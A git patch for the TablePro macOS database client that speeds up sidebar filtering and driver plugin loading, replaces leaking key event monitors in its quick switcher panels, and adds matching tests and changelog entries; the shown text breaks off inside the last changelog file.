From 0f74142ec30c739544d5f00680d4216099569b13 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Mon, 26 Oct 2026 13:56:21 +0700
Subject: [PATCH 01/44] perf(sidebar): cut connect and filter stalls on large
 catalogs (#3842)

---
 apple/.swiftlint.yml                          |  6 ++
 .../Plugins/PluginManager+AutoUpdate.swift    |  2 +
 .../TablePro/Core/Plugins/PluginManager.swift | 45 ++++++++----
 .../SidebarContainerViewController.swift      | 10 +++
 .../Models/UI/QuickSwitcherKeyCommand.swift   |  6 +-
 .../QuickSwitcher/QuickSwitcherPanel.swift    | 17 +++++
 .../QuickSwitcherPanelView.swift              | 51 ++++++--------
 .../Views/Results/ColumnJumpPanelView.swift   | 51 ++++++--------
 ...tabaseTreeOutlineCoordinator+Tracing.swift |  3 +-
 .../DatabaseTreeOutlineCoordinator.swift      |  7 +-
 .../Sidebar/DatabaseTreeOutlineView.swift     |  8 +++
 .../Sidebar/DatabaseTreeRenderInputs.swift    |  6 +-
 .../Plugins/PluginLazyRegistrationTests.swift | 39 +++++++++++
 .../SidebarContainerChromeTests.swift         | 30 ++++++++
 .../QuickSwitcherPanelControllerTests.swift   | 50 +++++++++++++
 .../Sidebar/DatabaseTreeReconcileTests.swift  | 36 +++++++++-
 apple/changelog.d/3842.changed.1.md           |  1 +
 apple/changelog.d/3842.changed.md             |  1 +
 apple/changelog.d/3842.fixed.md               |  1 +
 apple/scripts/benchmark-large-catalog.sh      |  9 +--
 .../benchmark/large-catalog/benchmark.py      | 70 ++++++++++++++-----
 21 files changed, 345 insertions(+), 104 deletions(-)
 create mode 100644 apple/changelog.d/3842.changed.1.md
 create mode 100644 apple/changelog.d/3842.changed.md
 create mode 100644 apple/changelog.d/3842.fixed.md

diff --git a/apple/.swiftlint.yml b/apple/.swiftlint.yml
index a8762c3dc6..c31e1bc9cd 100644
--- a/apple/.swiftlint.yml
+++ b/apple/.swiftlint.yml
@@ -484,6 +484,12 @@ custom_rules:
     regex: '^( *)(?:[\w()]+ +)*func +(?:activateLazyBundle|validateAndLoadBundle)\((?!(?:(?!^\1\}$)[\s\S])*?(?:\bassertLoadable\b|\bPluginCodeSignatureVerifier\b))'
     message: "Every path that loads a plugin's executable goes through the signature gate first."
     severity: error
+  plugin_gated_bundle_insert:
+    name: "Gated Bundle Record"
+    included: ['.*/TablePro/Core/Plugins/[^/]+\.swift$']
+    regex: '^( *)(?:[\w()]+ +)*func +(?!loadLazyDriverExecutable\b)\w+\((?:(?!^\1\}$)[\s\S])*?\bgatedBundleURLs\.insert\b'
+    message: "activateLazyBundle skips the gate for a recorded URL, so only the load that ran the gate records one."
+    severity: error
   plugin_signature_flags:
     name: "Plugin Signature Flags"
     included: ['.*/PluginCodeSignatureVerifier\.swift$']
diff --git a/apple/TablePro/Core/Plugins/PluginManager+AutoUpdate.swift b/apple/TablePro/Core/Plugins/PluginManager+AutoUpdate.swift
index 31ce3b0ba0..a3cb3634ab 100644
--- a/apple/TablePro/Core/Plugins/PluginManager+AutoUpdate.swift
+++ b/apple/TablePro/Core/Plugins/PluginManager+AutoUpdate.swift
@@ -320,9 +320,11 @@ extension PluginManager {
 
     func prepareForConnecting(to type: DatabaseType, registryClient: RegistryClient = .shared) async throws {
         let typeId = type.pluginTypeId
+        await loadLazyDriverExecutable(typeId: typeId)
         if driverPlugin(for: type) == nil, !hasFinishedInitialLoad {
             Self.logger.info("Plugin '\(typeId)' not loaded yet, waiting for background load")
             await waitForInitialLoad()
+            await loadLazyDriverExecutable(typeId: typeId)
         }
         if driverPlugin(for: type) == nil, hasOutdatedRejectedPlugin(forTypeId: typeId) {
             Self.logger.info("Plugin '\(typeId)' is installed but outdated, updating it before connect")
diff --git a/apple/TablePro/Core/Plugins/PluginManager.swift b/apple/TablePro/Core/Plugins/PluginManager.swift
index 45502305e7..a6581efe68 100644
--- a/apple/TablePro/Core/Plugins/PluginManager.swift
+++ b/apple/TablePro/Core/Plugins/PluginManager.swift
@@ -108,6 +108,8 @@ final class PluginManager: ObservableObject {
     private var lazyExportURLs: [String: URL] = [:]
     private var lazyImportURLs: [String: URL] = [:]
     private var activatedBundleIds: Set<String> = []
+    /// Bundles a connect already took through the load gate and loaded off the main actor.
+    private var gatedBundleURLs: Set<URL> = []
 
     internal var registryUpdateTask: Task<Void, Never>?
     internal var registryUpdateAttempts = 0
@@ -345,6 +347,7 @@ final class PluginManager: ObservableObject {
     /// leave the valid plugin listed but unreachable for the rest of the process.
     private func rebuildLazyRegistrations() {
         lazyDriverURLs = [:]
+        gatedBundleURLs = []
         lazyExportURLs = [:]
         lazyImportURLs = [:]
 
@@ -390,6 +393,20 @@ final class PluginManager: ObservableObject {
         Array(lazyImportURLs.keys)
     }
 
+    // The signature check and dlopen of a driver plugin hold the thread for hundreds of milliseconds the
+    // first time a launch reads its file, so a connect does both here and leaves only registration to main.
+    func loadLazyDriverExecutable(typeId: String) async {
+        guard driverPlugins[typeId] == nil, let url = lazyDriverURLs[typeId], !gatedBundleURLs.contains(url) else { return }
+        let source = plugins.first(where: { $0.url == url })?.source ?? .userInstalled
+        do {
+            _ = try await Self.validateAndLoadBundleAsync(at: url, source: source)
+            gatedBundleURLs.insert(url)
+        } catch {
+            // Activation runs the gate again on the main actor and records the rejection there.
+            Self.logger.error("Loading driver plugin '\(url.lastPathComponent)' ahead of activation failed: \(error.localizedDescription)")
+        }
+    }
+
     func activateLazyBundle(at url: URL) {
         guard let bundle = Bundle(url: url) else { return }
         let bundleId = bundle.bundleIdentifier ?? url.lastPathComponent
@@ -397,20 +414,22 @@ final class PluginManager: ObservableObject {
 
         let entry = plugins.first(where: { $0.id == bundleId })
 
-        do {
-            try assertLoadable(bundle, source: entry?.source ?? .userInstalled)
-        } catch {
-            Self.logger.error("Refusing to activate lazy plugin '\(bundleId)': failed the load gate: \(error.localizedDescription)")
-            recordLazyActivationRejection(url: url, bundleId: bundleId, entry: entry, error: error)
-            return
-        }
+        if !gatedBundleURLs.contains(url) || !bundle.isLoaded {
+            do {
+                try assertLoadable(bundle, source: entry?.source ?? .userInstalled)
+            } catch {
+                Self.logger.error("Refusing to activate lazy plugin '\(bundleId)': failed the load gate: \(error.localizedDescription)")
+                recordLazyActivationRejection(url: url, bundleId: bundleId, entry: entry, error: error)
+                return
+            }
 
-        do {
-            try PluginBundleLoader.load(bundle)
-        } catch {
-            Self.logger.error("Failed to load lazy bundle '\(bundleId)' at \(url.lastPathComponent): \(error.localizedDescription)")
-            recordLazyActivationRejection(url: url, bundleId: bundleId, entry: entry, error: error)
-            return
+            do {
+                try PluginBundleLoader.load(bundle)
+            } catch {
+                Self.logger.error("Failed to load lazy bundle '\(bundleId)' at \(url.lastPathComponent): \(error.localizedDescription)")
+                recordLazyActivationRejection(url: url, bundleId: bundleId, entry: entry, error: error)
+                return
+            }
         }
 
         guard let principalClass = bundle.principalClass as? any TableProPlugin.Type else {
diff --git a/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift b/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift
index 59965896d2..805183ecb7 100644
--- a/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/SidebarContainerViewController.swift
@@ -22,6 +22,9 @@ internal final class SidebarContainerViewController: NSViewController {
     /// connection, so that is the part the window swaps.
     private let listHost = WorkspacePaneHost()
     private var sidebarState: SharedSidebarState?
+    /// The list the field's focus was last written for. A flip of this one connection's list moves the
+    /// focus with it; a rebind to another connection does not (`updateSidebarState`).
+    private var focusScope: SidebarTab?
     private var observationTask: Task<Void, Never>?
     private var filterPopover: NSPopover?
     /// Exactly one of these is active. A hidden view keeps its constraints, so hiding the two rows
@@ -258,6 +261,7 @@ internal final class SidebarContainerViewController: NSViewController {
         /// scope follows for the same reason, or it would name the previous connection's list.
         viewOptionsButton.isHidden = state.selectedSidebarTab != .tables
         scopeControl.selectedTab = state.selectedSidebarTab
+        focusScope = state.selectedSidebarTab
         observationTask = Task { @MainActor [weak self] in
             guard let self else { return }
             while !Task.isCancelled {
@@ -309,6 +313,12 @@ internal final class SidebarContainerViewController: NSViewController {
         }
         searchField.placeholderString = placeholder
         searchField.setAccessibilityLabel(placeholder)
+
+        // The field keeps editing through a flip of the list, so the focus follows the list it now filters.
+        if state.selectedSidebarTab != focusScope {
+            focusScope = state.selectedSidebarTab
+            writeFilterFocus(state.selectedSidebarTab == .tables && searchField.currentEditor() != nil)
+        }
     }
 
     /// Only a change reaches the window. `NSSegmentedControl` sends its action for a click on the
diff --git a/apple/TablePro/Models/UI/QuickSwitcherKeyCommand.swift b/apple/TablePro/Models/UI/QuickSwitcherKeyCommand.swift
index 5038905c55..891fe70385 100644
--- a/apple/TablePro/Models/UI/QuickSwitcherKeyCommand.swift
+++ b/apple/TablePro/Models/UI/QuickSwitcherKeyCommand.swift
@@ -8,9 +8,9 @@ import AppKit
 /// What a key press means inside the quick switcher panel, resolved without touching AppKit state.
 ///
 /// The panel's key handling is split across two owners: the field editor answers the commands
-/// `NSTextField` sends it (arrows, Return, Escape), and everything the field editor never receives
-/// arrives through a local event monitor. Command-Return is in the second group, because AppKit's
-/// field editor has no command for it. Keeping the mapping here means both owners resolve a press
+/// `NSTextField` sends it (arrows, Return, Escape), and the panel asks first about everything the
+/// field editor never receives. Command-Return is in the second group, because AppKit's field
+/// editor has no command for it. Keeping the mapping here means both owners resolve a press
 /// the same way and the mapping can be tested without a window.
 internal enum QuickSwitcherKeyCommand: Equatable {
     case moveSelection(by: Int)
diff --git a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift
index a851917b92..c9fff03a8d 100644
--- a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift
+++ b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift
@@ -20,6 +20,11 @@ internal enum QuickSwitcherPanelFocus: Equatable {
 internal final class QuickSwitcherPanel: NSPanel {
     private let focus: QuickSwitcherPanelFocus
 
+    /// The content's keyboard commands, asked before the search field sees a press. The panel holds
+    /// them so they go with it: a local event monitor the content installed was never removed, and
+    /// it kept every closed panel's view model and result list alive.
+    internal var keyCommandHandler: ((NSEvent) -> Bool)?
+
     init<Content: View>(
         hostingController: NSHostingController<Content>,
         surfaceCornerRadius: CGFloat,
@@ -76,6 +81,17 @@ internal final class QuickSwitcherPanel: NSPanel {
         layer.masksToBounds = true
     }
 
+    // Command and Control presses reach the window as key equivalents before the menu bar sees them.
+    override func performKeyEquivalent(with event: NSEvent) -> Bool {
+        if keyCommandHandler?(event) == true { return true }
+        return super.performKeyEquivalent(with: event)
+    }
+
+    override func sendEvent(_ event: NSEvent) {
+        if event.type == .keyDown, keyCommandHandler?(event) == true { return }
+        super.sendEvent(event)
+    }
+
     override var canBecomeKey: Bool { focus == .key }
     override var canBecomeMain: Bool { false }
 
@@ -165,6 +181,7 @@ internal final class QuickSwitcherPanelController: NSObject, NSWindowDelegate {
     }
 
     func windowWillClose(_ notification: Notification) {
+        panel?.keyCommandHandler = nil
         panel?.contentViewController = nil
         panel = nil
         anchor = nil
diff --git a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
index 3310f0a7d9..4cfc871dd8 100644
--- a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
+++ b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
@@ -67,8 +67,6 @@ struct QuickSwitcherPanelContent: View {
     @ObservedObject var viewModel: QuickSwitcherViewModel
     let onCommit: (QuickSwitcherItem, QuickSwitcherCommitIntent) -> Void
 
-    @State private var keyMonitor: Any?
-
     var body: some View {
         QuickSwitcherGlassGroup {
             VStack(spacing: 0) {
@@ -90,8 +88,11 @@ struct QuickSwitcherPanelContent: View {
             .frame(width: QuickSwitcherMetrics.width)
             .quickSwitcherSurface(cornerRadius: QuickSwitcherMetrics.cornerRadius)
         }
-        .onAppear { installKeyMonitor() }
-        .onDisappear { removeKeyMonitor() }
+        .background {
+            WindowAccessor { window in
+                (window as? QuickSwitcherPanel)?.keyCommandHandler = handleKeyCommand
+            }
+        }
     }
 
     // MARK: - State
@@ -430,34 +431,22 @@ struct QuickSwitcherPanelContent: View {
 
     // MARK: - Keyboard
 
-    private func installKeyMonitor() {
-        guard keyMonitor == nil else { return }
-        keyMonitor = NSEvent.addLocalMonitorForEvents(matching: .keyDown) { event in
-            guard event.window is QuickSwitcherPanel else { return event }
-            let command = QuickSwitcherKeyCommand.resolve(
-                characters: event.charactersIgnoringModifiers ?? "",
-                modifiers: event.modifierFlags,
-                scopeCount: QuickSwitcherScope.allCases.count
-            )
-            guard let command else { return event }
-
-            switch command {
-            case let .moveSelection(offset):
-                viewModel.moveSelection(by: offset)
-            case let .selectScope(index):
-                viewModel.scope = QuickSwitcherScope.allCases[index]
-            case let .commit(intent):
-                commitSelection(intent: intent)
-            }
-            return nil
-        }
-    }
-
-    private func removeKeyMonitor() {
-        if let keyMonitor {
-            NSEvent.removeMonitor(keyMonitor)
+    private func handleKeyCommand(_ event: NSEvent) -> Bool {
+        guard let command = QuickSwitcherKeyCommand.resolve(
+            characters: event.charactersIgnoringModifiers ?? "",
+            modifiers: event.modifierFlags,
+            scopeCount: QuickSwitcherScope.allCases.count
+        ) else { return false }
+
+        switch command {
+        case let .moveSelection(offset):
+            viewModel.moveSelection(by: offset)
+        case let .selectScope(index):
+            viewModel.scope = QuickSwitcherScope.allCases[index]
+        case let .commit(intent):
+            commitSelection(intent: intent)
         }
-        keyMonitor = nil
+        return true
     }
 
     private func copyToPasteboard(_ value: String) {
diff --git a/apple/TablePro/Views/Results/ColumnJumpPanelView.swift b/apple/TablePro/Views/Results/ColumnJumpPanelView.swift
index 5692a7ea79..90dd8bc4df 100644
--- a/apple/TablePro/Views/Results/ColumnJumpPanelView.swift
+++ b/apple/TablePro/Views/Results/ColumnJumpPanelView.swift
@@ -40,8 +40,6 @@ struct ColumnJumpPanelContent: View {
     @ObservedObject var viewModel: ColumnJumpViewModel
     let onCommit: (GridColumnEntry) -> Void
 
-    @State private var keyMonitor: Any?
-
     var body: some View {
         QuickSwitcherGlassGroup {
             VStack(spacing: 0) {
@@ -58,8 +56,11 @@ struct ColumnJumpPanelContent: View {
             .frame(width: QuickSwitcherMetrics.width)
             .quickSwitcherSurface(cornerRadius: QuickSwitcherMetrics.cornerRadius)
         }
-        .onAppear { installKeyMonitor() }
-        .onDisappear { removeKeyMonitor() }
+        .background {
+            WindowAccessor { window in
+                (window as? QuickSwitcherPanel)?.keyCommandHandler = handleKeyCommand
+            }
+        }
     }
 
     // MARK: - State
@@ -263,34 +264,22 @@ struct ColumnJumpPanelContent: View {
 
     // MARK: - Keyboard
 
-    private func installKeyMonitor() {
-        guard keyMonitor == nil else { return }
-        keyMonitor = NSEvent.addLocalMonitorForEvents(matching: .keyDown) { event in
-            guard event.window is QuickSwitcherPanel else { return event }
-            let command = QuickSwitcherKeyCommand.resolve(
-                characters: event.charactersIgnoringModifiers ?? "",
-                modifiers: event.modifierFlags,
-                scopeCount: 0
-            )
-            guard let command else { return event }
-
-            switch command {
-            case let .moveSelection(offset):
-                viewModel.moveSelection(by: offset)
-            case .selectScope:
-                return event
-            case .commit:
-                commitSelection()
-            }
-            return nil
-        }
-    }
-
-    private func removeKeyMonitor() {
-        if let keyMonitor {
-            NSEvent.removeMonitor(keyMonitor)
+    private func handleKeyCommand(_ event: NSEvent) -> Bool {
+        guard let command = QuickSwitcherKeyCommand.resolve(
+            characters: event.charactersIgnoringModifiers ?? "",
+            modifiers: event.modifierFlags,
+            scopeCount: 0
+        ) else { return false }
+
+        switch command {
+        case let .moveSelection(offset):
+            viewModel.moveSelection(by: offset)
+        case .selectScope:
+            return false
+        case .commit:
+            commitSelection()
         }
-        keyMonitor = nil
+        return true
     }
 
     private func commitSelection() {
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Tracing.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Tracing.swift
index d5c004a7e7..ae90eea9de 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Tracing.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator+Tracing.swift
@@ -23,7 +23,7 @@ extension DatabaseTreeOutlineCoordinator {
 
     internal func endSettledInteractionTraces() {
         let tracer = InteractionTracer.shared
-        guard tracer.isRecording, let outlineView else { return }
+        guard tracer.isRecording, let outlineView, let window = outlineView.window else { return }
         let key = traceKey
         let awaitsListing = tracer.subject(of: .sidebarListing, key: key) != nil
         let filter = tracer.subject(of: .sidebarFilter, key: key)
@@ -31,7 +31,6 @@ extension DatabaseTreeOutlineCoordinator {
         guard awaitsListing || filter != nil || expanding != nil,
               let rows = settledRowCount(in: outlineView)
         else { return }
-        let window = outlineView.window
         if awaitsListing, rows > 0, isCatalogSettled {
             tracer.end(.sidebarListing, key: key, detail: "rows=\(rows)", after: window)
         }
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift
index 79d50b3a91..593654982c 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineCoordinator.swift
@@ -299,7 +299,8 @@ final class DatabaseTreeOutlineCoordinator: NSObject, NSTextFieldDelegate {
             treeMetadata: service,
             schemaService: schemaService,
             temporaryTables: temporaryTables,
-            sidebarState: sidebarState
+            sidebarState: sidebarState,
+            rootShape: rootShape
         )
     }
 
@@ -319,8 +320,12 @@ final class DatabaseTreeOutlineCoordinator: NSObject, NSTextFieldDelegate {
         flatFolderPlan = nil
         containerFolderPlans.removeAll()
         invalidateRowConfiguration()
+        // One update for the reload and every disclosure: each expandItem on its own walks the rows and
+        // builds the visible row views again, and a search opens two rows per matching schema.
+        outlineView.beginUpdates()
         outlineView.reloadData()
         applyDesiredExpansion()
+        outlineView.endUpdates()
         syncSelectionToModel()
         isReloading = false
         beginObserving()
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineView.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineView.swift
index 430e7dfa34..178b7a3d1c 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineView.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeOutlineView.swift
@@ -93,6 +93,14 @@ final class DatabaseTreeNSOutlineView: SidebarOutlineView {
     weak var selectionClearing: (any DatabaseTreeSelectionClearing)?
     weak var primaryActionTarget: DatabaseTreeOutlineCoordinator?
 
+    // The first reload runs inside makeNSView, before SwiftUI puts the outline in a window, so a trace
+    // that reload settled can only end on a frame from here.
+    override func viewDidMoveToWindow() {
+        super.viewDidMoveToWindow()
+        guard window != nil else { return }
+        primaryActionTarget?.endSettledInteractionTraces()
+    }
+
     override func cancelOperation(_ sender: Any?) {
         super.cancelOperation(sender)
         selectionClearing?.clearSelection()
diff --git a/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift b/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift
index 6b60b3c07d..c3560b069a 100644
--- a/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift
+++ b/apple/TablePro/Views/Sidebar/DatabaseTreeRenderInputs.swift
@@ -96,7 +96,8 @@ struct DatabaseTreeRenderInputs: Equatable {
         treeMetadata: DatabaseTreeMetadataService,
         schemaService: SchemaService,
         temporaryTables: TemporaryTableStore,
-        sidebarState: SharedSidebarState?
+        sidebarState: SharedSidebarState?,
+        rootShape: SidebarRootShape
     ) {
         let ownsObjects = { (key: ObjectsKey) in key.connectionId == connectionId }
         let tables = Self.slice(treeMetadata.tablesState, where: ownsObjects) { Rows($0) }
@@ -120,7 +121,8 @@ struct DatabaseTreeRenderInputs: Equatable {
             // A first read adds its key as it starts, which must not count as a change either.
             if !listing.isUnread { listings[key] = listing }
         }
-        self.databases = Rows(treeMetadata.databaseListState(for: connectionId))
+        // Only the database tree draws the server's database list; the other shapes reloaded every row as it loaded.
+        self.databases = Rows(rootShape == .databaseTree ? treeMetadata.databaseListState(for: connectionId) : .idle)
         self.schemaLists = Self.slice(treeMetadata.schemaList, where: { $0.connectionId == connectionId }) { Rows($0) }
         self.tables = tables
         self.routines = routines
diff --git a/apple/TableProTests/Core/Plugins/PluginLazyRegistrationTests.swift b/apple/TableProTests/Core/Plugins/PluginLazyRegistrationTests.swift
index a792ba10c4..87ca2ae6e6 100644
--- a/apple/TableProTests/Core/Plugins/PluginLazyRegistrationTests.swift
+++ b/apple/TableProTests/Core/Plugins/PluginLazyRegistrationTests.swift
@@ -85,6 +85,45 @@ struct PluginLazyRegistrationTests {
         #expect(manager.rejectedPlugins.map { $0.bundleId } == ["com.TablePro.OracleDriver"])
     }
 
+    @Test("A connect loads a lazy driver's executable ahead of activation, and activation then registers it")
+    func connectLoadsTheDriverBeforeActivating() async throws {
+        let plugIns = try #require(Bundle.main.builtInPlugInsURL)
+        let root = FileManager.default.temporaryDirectory
+            .appendingPathComponent("PluginLazyRegistrationTests-\(UUID().uuidString)", isDirectory: true)
+        defer { try? FileManager.default.removeItem(at: root) }
+        let manager = PluginManager(builtInPluginsURL: plugIns, userPluginsDir: root)
+        manager.loadPlugins()
+        await manager.waitForInitialLoad()
+        let typeId = DatabaseType.postgresql.pluginTypeId
+        let url = try #require(manager.lazyDriverURLs[typeId])
+
+        await manager.loadLazyDriverExecutable(typeId: typeId)
+
+        #expect(try #require(Bundle(url: url)).isLoaded)
+        #expect(manager.driverPlugins[typeId] == nil)
+        #expect(manager.driverPlugin(for: .postgresql) != nil)
+        #expect(manager.rejectedPlugins.isEmpty)
+    }
+
+    @Test("A driver that fails the gate ahead of activation is still recorded as rejected when activated")
+    func failedEarlyLoadIsRecordedOnActivation() async throws {
+        let fixture = try makeFixture()
+        defer { try? FileManager.default.removeItem(at: fixture.root) }
+        try makeOracleDriver(
+            in: fixture.pluginsDir,
+            provides: ["TableProProvidesDatabaseTypeIds": [DatabaseType.oracle.rawValue]]
+        )
+        let manager = fixture.manager
+        manager.loadPlugins()
+        await manager.waitForInitialLoad()
+
+        await manager.loadLazyDriverExecutable(typeId: DatabaseType.oracle.rawValue)
+        #expect(manager.rejectedPlugins.isEmpty)
+
+        #expect(manager.driverPlugin(for: .oracle) == nil)
+        #expect(manager.rejectedPlugins.map { $0.bundleId } == ["com.TablePro.OracleDriver"])
+    }
+
     @Test("Every bundled plugin's Info.plist declares the ids its class provides, primary id first")
     func bundledPluginsDeclareWhatTheyProvide() throws {
         let plugIns = try #require(Bundle.main.builtInPlugInsURL)
diff --git a/apple/TableProTests/Core/Services/Infrastructure/SidebarContainerChromeTests.swift b/apple/TableProTests/Core/Services/Infrastructure/SidebarContainerChromeTests.swift
index 8d75973035..d40a14f800 100644
--- a/apple/TableProTests/Core/Services/Infrastructure/SidebarContainerChromeTests.swift
+++ b/apple/TableProTests/Core/Services/Infrastructure/SidebarContainerChromeTests.swift
@@ -1,5 +1,6 @@
 import AppKit
 @testable import TablePro
+import TableProTestSupport
 import Testing
 
 /// The filter field belongs to the window, not to the connection under it. It used to be hidden
@@ -100,6 +101,35 @@ struct SidebarContainerChromeTests {
         #expect(!state.isFilterFieldFocused)
     }
 
+    @Test("Flipping to Tables while the field edits marks the search, so the first keystroke does not start the listing")
+    func flipToTablesMarksTheEditingField() async throws {
+        let state = SharedSidebarState()
+        state.selectedSidebarTab = .favorites
+        let host = FilterHost(state: state)
+        defer { host.tearDown() }
+        host.controller.focusSearchField()
+        #expect(!state.isFilterFieldFocused)
+
+        state.selectedSidebarTab = .tables
+
+        try await waitUntil { state.isFilterFieldFocused }
+        #expect(host.isFilterEditing)
+    }
+
+    @Test("Flipping to Favorites while the field edits clears the mark Tables set")
+    func flipToFavoritesClearsTheMark() async throws {
+        let state = SharedSidebarState()
+        let host = FilterHost(state: state)
+        defer { host.tearDown() }
+        host.controller.focusSearchField()
+        #expect(state.isFilterFieldFocused)
+
+        state.selectedSidebarTab = .favorites
+
+        try await waitUntil { !state.isFilterFieldFocused }
+        #expect(host.isFilterEditing)
+    }
+
     @Test("The focus stays through a rebind to the same connection and leaves with the field for another")
     func focusLeavesWithTheField() {
         let first = SharedSidebarState()
diff --git a/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift b/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift
index eb3f93da22..399065e871 100644
--- a/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift
+++ b/apple/TableProTests/Views/QuickSwitcherPanelControllerTests.swift
@@ -6,6 +6,7 @@
 import AppKit
 import SwiftUI
 @testable import TablePro
+import TableProTestSupport
 import Testing
 
 @MainActor
@@ -164,4 +165,53 @@ struct QuickSwitcherPanelControllerTests {
         }
         panel.close()
     }
+    @Test("Closing Open Quickly releases its view model and the result list it holds")
+    func closingReleasesTheViewModel() async throws {
+        let controller = QuickSwitcherPanelController()
+        weak var released: QuickSwitcherViewModel?
+        do {
+            let viewModel = QuickSwitcherViewModel(connectionId: UUID())
+            released = viewModel
+            controller.present(QuickSwitcherPanelContent(viewModel: viewModel) { _, _ in }, over: nil)
+            let panel = try #require(controller.presentedWindow as? QuickSwitcherPanel)
+            try await waitUntil { panel.keyCommandHandler != nil }
+        }
+
+        controller.dismiss()
+
+        try await waitUntil { released == nil }
+    }
+
+    @Test("The panel answers its own commands ahead of the search field and passes the rest on")
+    func panelAnswersItsCommands() async throws {
+        let controller = QuickSwitcherPanelController()
+        defer { controller.dismiss() }
+        let viewModel = QuickSwitcherViewModel(connectionId: UUID())
+        controller.present(QuickSwitcherPanelContent(viewModel: viewModel) { _, _ in }, over: nil)
+        let panel = try #require(controller.presentedWindow as? QuickSwitcherPanel)
+        try await waitUntil { panel.keyCommandHandler != nil }
+        let handler = try #require(panel.keyCommandHandler)
+
+        #expect(handler(try Self.key("n", modifiers: .control, window: panel)))
+        #expect(!handler(try Self.key("a", modifiers: [], window: panel)))
+
+        let scope = QuickSwitcherScope.allCases[1]
+        #expect(panel.performKeyEquivalent(with: try Self.key("2", modifiers: .command, window: panel)))
+        #expect(viewModel.scope == scope)
+    }
+
+    private static func key(_ characters: String, modifiers: NSEvent.ModifierFlags, window: NSWindow) throws -> NSEvent {
+        try #require(NSEvent.keyEvent(
+            with: .keyDown,
+            location: .zero,
+            modifierFlags: modifiers,
+            timestamp: 0,
+            windowNumber: window.windowNumber,
+            context: nil,
+            characters: characters,
+            charactersIgnoringModifiers: characters,
+            isARepeat: false,
+            keyCode: 0
+        ))
+    }
 }
diff --git a/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift b/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift
index 29debac151..7711d8e089 100644
--- a/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift
+++ b/apple/TableProTests/Views/Sidebar/DatabaseTreeReconcileTests.swift
@@ -178,7 +178,8 @@ struct DatabaseTreeReconcileTests {
                 treeMetadata: service,
                 schemaService: .shared,
                 temporaryTables: .shared,
-                sidebarState: nil
+                sidebarState: nil,
+                rootShape: .flat
             )
         }
         let unread = inputs()
@@ -199,6 +200,39 @@ struct DatabaseTreeReconcileTests {
         DatabaseManager.shared.removeSession(for: connection.id)
     }
 
+    @Test("The server's database list loading changes only the database tree's inputs")
+    func databaseListLoadChangesOnlyTheTree() async throws {
+        let connection = TestFixtures.makeConnection(database: "shop", type: .pglite)
+        let driver = MockDatabaseDriver(connection: connection)
+        driver.databasesToReturn = ["shop", "blog"]
+        var session = ConnectionSession(connection: connection, driver: driver)
+        session.status = .connected
+        DatabaseManager.shared.injectSession(session, for: connection.id)
+        let service = DatabaseTreeMetadataService.shared
+        func inputs(_ shape: SidebarRootShape) -> DatabaseTreeRenderInputs {
+            DatabaseTreeRenderInputs(
+                connectionId: connection.id,
+                treeMetadata: service,
+                schemaService: .shared,
+                temporaryTables: .shared,
+                sidebarState: nil,
+                rootShape: shape
+            )
+        }
+        let flat = inputs(.flat)
+        let hierarchical = inputs(.hierarchicalSchema)
+        let tree = inputs(.databaseTree)
+
+        await service.loadDatabases(connectionId: connection.id, databaseType: connection.type)
+
+        #expect(service.databases(for: connection.id).count == 2)
+        #expect(inputs(.flat) == flat)
+        #expect(inputs(.hierarchicalSchema) == hierarchical)
+        #expect(inputs(.databaseTree) != tree)
+        await service.handleDisconnect(connectionId: connection.id)
+        DatabaseManager.shared.removeSession(for: connection.id)
+    }
+
     @Test("A listing reads alike idle and loading, and apart once it loads or fails")
     func listingOutcomes() {
         typealias Listing = DatabaseTreeRenderInputs.Listing
diff --git a/apple/changelog.d/3842.changed.1.md b/apple/changelog.d/3842.changed.1.md
new file mode 100644
index 0000000000..4b91d9386b
--- /dev/null
+++ b/apple/changelog.d/3842.changed.1.md
@@ -0,0 +1 @@
+Filtering the sidebar on a database with many schemas or tables responds faster.
diff --git a/apple/changelog.d/3842.changed.md b/apple/changelog.d/3842.changed.md
new file mode 100644
index 0000000000..d2c109b08f
--- /dev/null
+++ b/apple/changelog.d/3842.changed.md
@@ -0,0 +1 @@
+Connecting with a downloaded driver such as Oracle no longer freezes the window while the driver loads.
diff --git a/apple/changelog.d/3842.fixed.md b/apple/changelog.d/3842.fixed.md
new file mode 100644
index 0000000000..f7a0038c74
--- /dev/null
